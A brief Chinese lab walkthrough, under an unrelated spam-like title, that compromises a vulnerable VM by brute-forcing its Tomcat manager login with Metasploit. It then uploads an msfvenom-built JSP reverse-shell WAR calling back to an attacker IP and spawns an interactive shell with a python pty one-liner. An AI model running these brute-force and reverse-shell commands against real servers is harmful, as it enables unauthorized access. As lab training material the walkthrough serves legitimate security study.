织梦系统做导航网站新乡做网站推广的

1.我们打开靶机，可能会需要改一下网卡配置，博主之前写过，这里就不写了，我们找到所属网段去拿nmap去扫描

2.我们找到IP之后访问一下，界面如下

3.我们可以看到他有一个登录框，我们尝试着爆破一下

4.接下来我们拿msf来爆破一下

msfconsole
search tomcat login
set rhosts 192.168.142.153
run

5.我们来登录一下

6.我们发现有一个文件上传的地方，我们来构造war文件，去kali生成一个反弹shell文件

msfvenom  -p java/jsp_shell_reverse_tcp LHOST=192.168.142.137 LPORT=9999 -f war -o shell.war

7.然后我们开启监听，我们改一下生成的文件名为doma.war

8.连接上之后可以使用以下命令构造成一个交互的命令

python3 -c "import pty;pty.spawn('/bin/bash')"